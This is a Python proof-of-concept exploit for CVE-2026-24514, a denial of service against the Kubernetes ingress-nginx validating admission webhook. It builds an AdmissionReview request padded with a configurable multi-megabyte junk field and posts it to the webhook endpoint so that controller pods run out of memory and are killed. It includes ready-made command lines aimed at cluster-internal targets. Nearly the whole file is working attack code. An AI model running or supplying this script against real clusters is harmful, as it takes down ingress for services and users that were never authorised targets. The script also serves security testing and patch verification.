#!/usr/bin/env python3 # Exploit Title: Kubernetes ingress-nginx Admission Webhook Memory Exhaustion (DoS) # CVE: CVE-2026-24514 # Date: 20-2-2026 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Vendor Homepage: https://kubernetes.github.io/ingress-nginx/ # Software Link: https://github.com/kubernetes/ingress-nginx # Vulnerable: ingress-nginx < 1.13.7 / < 1.14.3 (with validating webhook enabled) # Tested on: Kubernetes clusters with ingress-nginx validating admission enabled # Category: Denial of Service # Platform: Linux / Kubernetes # Exploit Type: Remote # CVSS: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) # Description: Sends oversized AdmissionReview requests to the ingress-nginx validating # admission webhook, causing excessive memory allocation and potential # OOMKill of controller pods. # Usage: # python3 cve-2026-24514-Kubernetes.py [options] # Examples: # python3 cve-2026-24514-Kubernetes.py https://localhost:8443/validate 40 --insecure # python3 cve-2026-24514-Kubernetes.py https://ingress-nginx-controller-admission.ingress-nginx.svc/validate 80 # Options: # --insecure Skip SSL certificate verification # --field-name TEXT Name of the field containing large payload (default: largeJunkData) # Notes: # - Requires network access to the validating webhook endpoint # - Usually only reachable from inside the cluster or via port-forward # - Use in authorized test/lab environments only print(""" ╔══════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ CVE-2026-24514 Proof of Concept ║ ║ ║ ║ Kubernetes ingress-nginx Admission Webhook Memory Exhaustion ║ ║ ║ ║ Author ............ Mohammed Idrees Banyamer ║ ║ Country ........... Jordan ║ ║ Instagram ......... @banyamer_security ║ ║ Date .............. 20-2-2026 ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════════╝ """) import sys import json import argparse import requests import warnings def parse_arguments(): parser = argparse.ArgumentParser( description="CVE-2026-24514 PoC — ingress-nginx validating webhook memory exhaustion", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: Local test (via kubectl port-forward): python3 %(prog)s https://localhost:8443/validate 45 --insecure Cluster-internal target: python3 %(prog)s https://ingress-nginx-controller-admission.ingress-nginx.svc/validate 100 """ ) parser.add_argument( "url", help="Target webhook endpoint (e.g. https://localhost:8443/validate)" ) parser.add_argument( "size_mb", type=int, help="Size of large payload field in megabytes" ) parser.add_argument( "--insecure", action="store_true", help="Disable SSL verification (useful for local testing)" ) parser.add_argument( "--field-name", default="largeJunkData", help="Name of the field with large data (default: largeJunkData)" ) return parser.parse_args() def build_admission_review(size_bytes: int, field_name: str) -> dict: large_payload = "A" * size_bytes return { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "poc-cve-2026-24514-00000000-1111-2222-3333-444444444444", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "name": "oversized-ingress-poc", "namespace": "default", "operation": "CREATE", "userInfo": { "username": "system:serviceaccount:default:attacker", "groups": ["system:authenticated"] }, "object": { "apiVersion": "networking.k8s.io/v1", "kind": "Ingress", "metadata": { "name": "large-payload-test", "namespace": "default" }, "spec": { "rules": [ { "host": "test.local", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "dummy", "port": {"number": 80} } } } ] } } ], field_name: large_payload } }, "oldObject": None, "dryRun": False, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } def main(): args = parse_arguments() if args.size_mb < 1: print("Error: size_mb must be at least 1", file=sys.stderr) sys.exit(1) size_bytes = args.size_mb * 1024 * 1024 print("CVE-2026-24514 PoC — ingress-nginx validating webhook memory exhaustion") print("──────────────────────────────────────────────────────────────────────────") print(f" Target .............: {args.url}") print(f" Payload size .......: {args.size_mb} MB ({size_bytes:,} bytes)") print(f" Large field ........: spec.{args.field_name}") print(f" SSL verification ...: {'Disabled' if args.insecure else 'Enabled'}") print("──────────────────────────────────────────────────────────────────────────") print() payload = build_admission_review(size_bytes, args.field_name) session = requests.Session() session.headers.update({"Content-Type": "application/json"}) verify = False if args.insecure else True if args.insecure: warnings.filterwarnings("ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning) print("Sending request... ", end="", flush=True) try: r = session.post(args.url, json=payload, verify=verify, timeout=60) print("done") print(f" Status code ........: {r.status_code}") print(f" Response size ......: {len(r.content):,} bytes") if r.text: preview = r.text[:280].replace("\n", " ").strip() print(f" Response preview ...: {preview}...") except requests.exceptions.RequestException as e: print("failed") print(f" Request failed ......: {e.__class__.__name__}") print(" (pod may have crashed already)") print("\nMonitoring suggestions:") print(" • kubectl get pods -n ingress-nginx -w") print(" • kubectl top pods -n ingress-nginx") print(" • kubectl describe pod -n ingress-nginx") if __name__ == "__main__": main()